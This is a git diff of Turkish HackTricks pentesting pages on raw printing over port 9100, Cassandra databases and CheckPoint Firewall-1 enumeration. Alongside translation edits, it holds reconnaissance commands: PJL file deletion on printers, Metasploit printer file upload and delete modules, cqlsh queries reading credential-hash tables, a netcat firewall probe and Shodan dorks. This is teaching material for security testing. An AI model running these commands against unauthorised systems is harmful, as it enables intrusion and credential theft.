AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) **ve** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına PR göndererek** katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Temel Bilgiler
|
||||
|
||||
[Şuradan](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing) alınan bilgilere göre, ham baskı, bir ağ yazıcısının 9100/tcp bağlantı noktasına bağlantı yapma süreci olarak tanımlanır. CUPS ve Windows baskı mimarisi tarafından ağ yazıcılarıyla iletişim kurmak için kullanılan varsayılan yöntem olarak kabul edilir çünkü 'yazıcılar için kullanılan en basit, en hızlı ve genellikle en güvenilir ağ protokolü' olarak kabul edilir. Ham bağlantı noktası 9100 baskı, JetDirect, AppSocket veya PDL-datastream olarak da adlandırılır ve aslında **kendisi bir baskı protokolü değildir**. Bunun yerine, gönderilen tüm veriler doğrudan baskı cihazı tarafından işlenir, tam olarak TCP üzerinden paralel bir bağlantı gibi. LPD, IPP ve SMB'nin aksine, bu, istemciye durum ve hata mesajları da dahil olmak üzere doğrudan geri bildirim gönderebilir. Böyle bir **iki yönlü kanal**, PJL, PostScript veya PCL komutlarının sonuçlarına doğrudan **erişim** sağlar. Bu nedenle, neredeyse her ağ yazıcısı tarafından desteklenen ham bağlantı noktası 9100 baskı, PRET ve PFT ile güvenlik analizi için kanal olarak kullanılır.
|
||||
[Buradan](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing) itibaren: Ham yazdırma, bir ağ yazıcısının 9100/tcp portuna bağlantı kurma süreci olarak tanımladığımız şeydir. Bu, CUPS ve Windows yazdırma mimarisi tarafından ağ yazıcılarıyla iletişim kurmak için kullanılan varsayılan yöntemdir çünkü ‘_yazıcılar için kullanılan en basit, en hızlı ve genellikle en güvenilir ağ protokolü_’ olarak kabul edilir. Ham port 9100 yazdırma, JetDirect, AppSocket veya PDL-datastream olarak da adlandırılır ve aslında **kendi başına bir yazdırma protokolü değildir**. Bunun yerine **gönderilen tüm veriler doğrudan yazdırma cihazı tarafından işlenir**, tıpkı TCP üzerinden paralel bir bağlantı gibi. LPD, IPP ve SMB'ye kıyasla, bu istemciye durum ve hata mesajları da dahil olmak üzere doğrudan geri bildirim gönderebilir. Böyle bir **iki yönlü kanal**, **PJL**, **PostScript** veya **PCL** komutlarının **sonuçlarına** doğrudan **erişim** sağlar. Bu nedenle, neredeyse her ağ yazıcısı tarafından desteklenen ham port 9100 yazdırma, PRET ve PFT ile güvenlik analizi için kanal olarak kullanılır.
|
||||
|
||||
[**Yazıcı hackleme hakkında daha fazla bilgi edinmek için bu sayfayı okuyun**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
Daha fazla bilgi için [**yazıcıları hacklemeyi öğrenin bu sayfayı okuyun**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||
|
||||
**Varsayılan bağlantı noktası:** 9100
|
||||
**Varsayılan port:** 9100
|
||||
```
|
||||
9100/tcp open jetdirect
|
||||
```
|
||||
# Saptama
|
||||
# Enumeration
|
||||
|
||||
## El ile
|
||||
## Manuel
|
||||
```bash
|
||||
nc -vn <IP> 9100
|
||||
@PJL INFO STATUS #CODE=40000 DISPLAY="Sleep" ONLINE=TRUE
|
||||
|
@ -43,20 +44,6 @@ nc -vn <IP> 9100
|
|||
@PJL FSDELETE #Useful to delete a file
|
||||
```
|
||||
## Otomatik
|
||||
|
||||
PJL (Printer Job Language), yazıcılarla iletişim kurmak için kullanılan bir komut dili ve protokoldür. PJL komutları, yazıcı ayarlarını değiştirmek, yazıcı durumunu sorgulamak ve yazıcı üzerinde işlemler gerçekleştirmek için kullanılır.
|
||||
|
||||
PJL komutları, yazıcıya gönderilen bir dizi ASCII karakteridir. Bu komutlar, yazıcıya belirli bir işlemi gerçekleştirmesi için talimat verir. Örneğin, bir PJL komutu kullanarak yazıcı ayarlarını değiştirebilir veya yazıcı üzerinde bir test sayfası yazdırabilirsiniz.
|
||||
|
||||
PJL komutlarını otomatik olarak keşfetmek için bazı araçlar ve yöntemler vardır. Bu araçlar, yazıcıya PJL komutları göndererek yanıtlarını analiz eder ve mevcut komutları belirler. Bu otomatik keşif yöntemi, yazıcı üzerindeki potansiyel zayıflıkları tespit etmek ve saldırı vektörleri oluşturmak için kullanılabilir.
|
||||
|
||||
PJL komutlarını otomatik olarak keşfetmek için kullanılan bazı araçlar şunlardır:
|
||||
|
||||
- **PJLTester**: Bu araç, yazıcıya PJL komutları göndererek yanıtlarını analiz eder ve mevcut komutları belirler. Ayrıca, yazıcı üzerindeki bazı potansiyel zayıflıkları tespit etmek için bazı testler yapar.
|
||||
|
||||
- **PJLScan**: Bu araç, ağdaki yazıcıları otomatik olarak taramak ve PJL komutlarını keşfetmek için kullanılır. PJLScan, yazıcı üzerindeki potansiyel zayıflıkları tespit etmek ve saldırı vektörleri oluşturmak için kullanılabilir.
|
||||
|
||||
PJL komutlarını otomatik olarak keşfetmek, yazıcılar üzerindeki güvenlik açıklarını tespit etmek ve saldırı vektörleri oluşturmak için önemli bir adımdır. Bu otomatik keşif yöntemleri, yazıcıların güvenlik durumunu değerlendirmek ve gerekli önlemleri almak için kullanılabilir.
|
||||
```bash
|
||||
nmap -sV --script pjl-ready-message -p <PORT> <IP>
|
||||
```
|
||||
|
@ -71,9 +58,9 @@ msf> use auxiliary/scanner/printer/printer_download_file
|
|||
msf> use auxiliary/scanner/printer/printer_upload_file
|
||||
msf> use auxiliary/scanner/printer/printer_delete_file
|
||||
```
|
||||
## Yazıcılar Hacking Aracı
|
||||
## Yazıcılar Hacking aracı
|
||||
|
||||
Yazıcıları kötüye kullanmak için kullanmak istediğiniz araç budur:
|
||||
Bu, yazıcıları kötüye kullanmak için kullanmak istediğiniz araçtır:
|
||||
|
||||
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
||||
|
||||
|
@ -82,16 +69,17 @@ Yazıcıları kötüye kullanmak için kullanmak istediğiniz araç budur:
|
|||
* `pjl port:9100`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# 9042/9160 - Cassandra Pentesting
|
||||
# 9042/9160 - Pentesting Cassandra
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Apache Cassandra**, **büyük miktarda veriyi** birçok **standart sunucu** üzerinde **yüksek kullanılabilirlik** sağlayarak işleyebilen, **yüksek ölçeklenebilirlik** ve **yüksek performanslı** bir dağıtık veritabanıdır. Bu, bir tür **NoSQL veritabanıdır**.
|
||||
**Apache Cassandra**, **yüksek ölçeklenebilir**, **yüksek performanslı** dağıtık bir veritabanıdır ve **birçok** **ticari sunucu** üzerinde **büyük miktarda veri** işlemek için tasarlanmıştır, **tek bir arıza noktası** olmadan **yüksek kullanılabilirlik** sağlar. Bu, bir tür **NoSQL veritabanıdır**.
|
||||
|
||||
Bazı durumlarda, Cassandra'nın **herhangi bir kimlik bilgisini** (yapılandırılmış bir kimlik bilgisi olmadığı için) kabul ettiğini görebilirsiniz ve bu, saldırganın veritabanını **numaralandırmasına** izin verebilir.
|
||||
Bazı durumlarda, Cassandra'nın **herhangi bir kimlik bilgisi** kabul ettiğini görebilirsiniz (çünkü yapılandırılmış bir kimlik bilgisi yoktur) ve bu, bir saldırganın veritabanını **numaralandırmasına** olanak tanıyabilir.
|
||||
|
||||
**Varsayılan port:** 9042,9160
|
||||
```
|
||||
|
@ -26,55 +27,9 @@ PORT STATE SERVICE REASON
|
|||
9042/tcp open cassandra-native Apache Cassandra 3.10 or later (native protocol versions 3/v3, 4/v4, 5/v5-beta)
|
||||
9160/tcp open cassandra syn-ack
|
||||
```
|
||||
### El ile Saptama
|
||||
## Enumeration
|
||||
|
||||
Cassandra hizmetini el ile saptamak için aşağıdaki adımları izleyebilirsiniz:
|
||||
|
||||
1. **Port Taraması**: Nmap veya Nessus gibi bir port tarama aracı kullanarak hedef sistemdeki açık portları taramalısınız. Cassandra varsayılan olarak 9042 numaralı portu kullanır.
|
||||
|
||||
2. **Banner Grabbing**: Telnet veya netcat gibi bir araç kullanarak hedef sistemdeki Cassandra sunucusuna bağlanarak banner bilgilerini alabilirsiniz. Banner bilgileri, Cassandra sürümü ve diğer önemli bilgileri içerebilir.
|
||||
|
||||
3. **Cassandra Query Language (CQL) Sorguları**: Cassandra sunucusuna bağlanarak CQL sorguları kullanarak veritabanı ve tablo bilgilerini elde edebilirsiniz. Örneğin, "DESCRIBE KEYSPACES" komutuyla mevcut anahtar alanlarını, "DESCRIBE TABLES" komutuyla mevcut tabloları ve "SELECT * FROM <table_name>" komutuyla tablo içeriğini sorgulayabilirsiniz.
|
||||
|
||||
4. **Yönetici Arabirimi**: Cassandra sunucusunun yönetici arabirimine erişebilirseniz, daha fazla bilgi elde etmek için bu arabirimi kullanabilirsiniz. Yönetici arabirimi genellikle 7199 numaralı port üzerinden erişilebilir.
|
||||
|
||||
5. **Diğer Araçlar**: Cassandra'nın sızma testi için özel olarak tasarlanmış araçları kullanabilirsiniz. Örneğin, "cassandra-dump" aracı, veritabanı ve tablo bilgilerini otomatik olarak çekmek için kullanılabilir.
|
||||
|
||||
### Otomatik
|
||||
|
||||
Cassandra hizmetini otomatik olarak saptamak için aşağıdaki araçları kullanabilirsiniz:
|
||||
|
||||
1. **Nmap**: Nmap, hedef sistemdeki açık portları taramak için kullanılabilir. Cassandra varsayılan olarak 9042 numaralı portu kullanır. Aşağıdaki komutu kullanarak Nmap'i kullanabilirsiniz:
|
||||
|
||||
```
|
||||
nmap -p 9042 <hedef_ip>
|
||||
```
|
||||
|
||||
2. **Metasploit Framework**: Metasploit Framework, hedef sistemdeki Cassandra hizmetini otomatik olarak saptamak için kullanılabilir. Aşağıdaki komutu kullanarak Metasploit Framework'ü kullanabilirsiniz:
|
||||
|
||||
```
|
||||
use auxiliary/scanner/cassandra/cassandra_login
|
||||
set RHOSTS <hedef_ip>
|
||||
run
|
||||
```
|
||||
|
||||
3. **Cassandra-dump**: Cassandra-dump, Cassandra veritabanı ve tablo bilgilerini otomatik olarak çekmek için kullanılabilir. Aşağıdaki komutu kullanarak Cassandra-dump'ı kullanabilirsiniz:
|
||||
|
||||
```
|
||||
cassandra-dump -host <hedef_ip> -port 9042
|
||||
```
|
||||
|
||||
4. **Cassandra-Scan**: Cassandra-Scan, hedef sistemdeki Cassandra sunucusunu otomatik olarak taramak için kullanılabilir. Aşağıdaki komutu kullanarak Cassandra-Scan'i kullanabilirsiniz:
|
||||
|
||||
```
|
||||
cassandra-scan -host <hedef_ip> -port 9042
|
||||
```
|
||||
|
||||
5. **Cassandra-Client**: Cassandra-Client, Cassandra sunucusuna bağlanarak CQL sorguları kullanarak veritabanı ve tablo bilgilerini otomatik olarak çekmek için kullanılabilir. Aşağıdaki komutu kullanarak Cassandra-Client'ı kullanabilirsiniz:
|
||||
|
||||
```
|
||||
cassandra-client -h <hedef_ip> -p 9042
|
||||
```
|
||||
### Manuel
|
||||
```bash
|
||||
pip install cqlsh
|
||||
cqlsh <IP>
|
||||
|
@ -89,9 +44,9 @@ SELECT * from logdb.user_auth; #Can contain credential hashes
|
|||
SELECT * from logdb.user;
|
||||
SELECT * from configuration."config";
|
||||
```
|
||||
### Otomatik
|
||||
### Automated
|
||||
|
||||
Burada pek çok seçenek yok ve nmap çok fazla bilgi elde etmiyor.
|
||||
Burada çok fazla seçenek yok ve nmap çok fazla bilgi elde edemiyor.
|
||||
```bash
|
||||
nmap -sV --script cassandra-info -p <PORT> <IP>
|
||||
```
|
||||
|
@ -99,19 +54,20 @@ nmap -sV --script cassandra-info -p <PORT> <IP>
|
|||
|
||||
### **Shodan**
|
||||
|
||||
`port:9160 Küme`\
|
||||
`port:9160 Cluster`\
|
||||
`port:9042 "Geçersiz veya desteklenmeyen protokol sürümü"`
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Değerli bilgileri keşfetmek için **CheckPoint** **Firewall-1** güvenlik duvarlarıyla etkileşimde bulunmak mümkündür. Bu, **264/TCP** bağlantı noktasına bir sorgu göndererek yapılabilir.
|
||||
**CheckPoint** **Firewall-1** güvenlik duvarları ile etkileşimde bulunarak güvenlik duvarının adı ve yönetim istasyonunun adı gibi değerli bilgilere ulaşmak mümkündür. Bu, **264/TCP** portuna bir sorgu göndererek yapılabilir.
|
||||
|
||||
### Güvenlik Duvarı ve Yönetim İstasyonu İsimlerini Elde Etme
|
||||
|
||||
Ön kimlik doğrulama isteği kullanarak, **CheckPoint Firewall-1** hedefleyen bir modülü çalıştırabilirsiniz. Bu işlem için gerekli komutlar aşağıda açıklanmıştır:
|
||||
Ön kimlik doğrulama isteği kullanarak, **CheckPoint Firewall-1**'i hedef alan bir modül çalıştırabilirsiniz. Bu işlem için gerekli komutlar aşağıda belirtilmiştir:
|
||||
```bash
|
||||
use auxiliary/gather/checkpoint_hostname
|
||||
set RHOST 10.10.10.10
|
||||
```
|
||||
Yürütme sırasında, modül, güvenlik duvarının SecuRemote Topoloji servisiyle iletişim kurmaya çalışır. Başarılı olursa, bir CheckPoint Güvenlik Duvarının varlığını onaylar ve hem güvenlik duvarının hem de SmartCenter yönetim ana bilgisayarının adlarını alır. İşte çıktının nasıl görünebileceğine dair bir örnek:
|
||||
Modül çalıştırıldığında, güvenlik duvarının SecuRemote Topoloji hizmeti ile iletişim kurmaya çalışır. Başarılı olursa, bir CheckPoint Güvenlik Duvarı'nın varlığını doğrular ve hem güvenlik duvarının hem de SmartCenter yönetim ana bilgisayarının adlarını alır. İşte çıktının nasıl görünebileceğine dair bir örnek:
|
||||
```text
|
||||
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
|
||||
[+] Appears to be a CheckPoint Firewall...
|
||||
|
@ -30,13 +31,13 @@ Yürütme sırasında, modül, güvenlik duvarının SecuRemote Topoloji servisi
|
|||
[+] SmartCenter Host: FIREFIGHTER-MGMT.example.com
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
### Ana Bilgisayar Adı ve ICA Adı Keşfi için Alternatif Yöntem
|
||||
### Alternatif Yöntem ile Host Adı ve ICA Adı Keşfi
|
||||
|
||||
Başka bir teknik, doğrudan bir komut kullanarak belirli bir sorguyu güvenlik duvarına gönderir ve yanıtı ayrıştırarak güvenlik duvarının ana bilgisayar adını ve ICA adını çıkarır. Komut ve yapısı aşağıdaki gibidir:
|
||||
Başka bir teknik, güvenlik duvarına belirli bir sorgu gönderen ve yanıtı ayrıştırarak güvenlik duvarının host adını ve ICA adını çıkaran doğrudan bir komut içerir. Komut ve yapısı aşağıdaki gibidir:
|
||||
```bash
|
||||
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
|
||||
```
|
||||
Bu komutun çıktısı, aşağıda gösterildiği gibi, güvenlik duvarının sertifika adı (CN) ve kuruluşu (O) hakkında detaylı bilgi sağlar:
|
||||
Bu komutun çıktısı, aşağıda gösterildiği gibi, güvenlik duvarının sertifika adı (CN) ve organizasyonu (O) hakkında ayrıntılı bilgi sağlar:
|
||||
```text
|
||||
CN=Panama,O=MGMTT.srv.rxfrmi
|
||||
```
|
||||
|
@ -47,16 +48,17 @@ CN=Panama,O=MGMTT.srv.rxfrmi
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
